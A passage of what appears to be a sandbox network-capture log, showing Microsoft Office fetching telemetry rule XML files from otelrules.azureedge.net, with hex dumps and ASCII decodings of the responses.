encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-12-08 09:47:27 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-12-08 09:47:27 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-12-08 09:47:27 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-12-08 09:47:27 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-12-08 09:47:27 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-12-08 09:47:27 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-12-08 09:47:28 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.8	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:29 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:30 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:30 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 3fcd35f4-e01e-0052-4b02-48d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094730Z-r1cf579d778bb9vvhC1EWRs95400000004qg00000000081a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:30 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.8	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:29 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:30 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:30 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 2b116ba0-201e-0051-0503-487340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094730Z-r1cf579d778g2t6ghC1EWRfggs00000004g0000000000ye0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:30 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.8	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:29 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:30 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: c11b12be-901e-0048-4704-48b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094730Z-r1cf579d778zvkpnhC1EWRv23g000000055g0000000041bm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:30 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.8	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:29 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:30 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: b9950e54-401e-0015-4806-480e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094730Z-r1cf579d778d5zkmhC1EWRk6h800000005eg0000000027th x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:30 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.8	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:29 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:30 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:30 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: a36b2733-e01e-0051-6f03-4884b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094730Z-r1cf579d7788pwqzhC1EWRrpd80000000590000000001mz8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:30 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.8	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:32 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:32 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 27a1a40f-f01e-0096-7d0b-4810ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094732Z-r1cf579d778qlpkrhC1EWRpfc800000005t0000000000ab4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:32 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.8	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:32 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:32 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 3de6f1c3-b01e-003d-6e01-48d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094732Z-r1cf579d77898tqwhC1EWRf9q800000005200000000027hq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:32 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.8	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:32 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:32 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 9879796e-101e-0034-5802-4896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094732Z-r1cf579d778dfdgnhC1EWRd3w000000004qg000000004cmp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
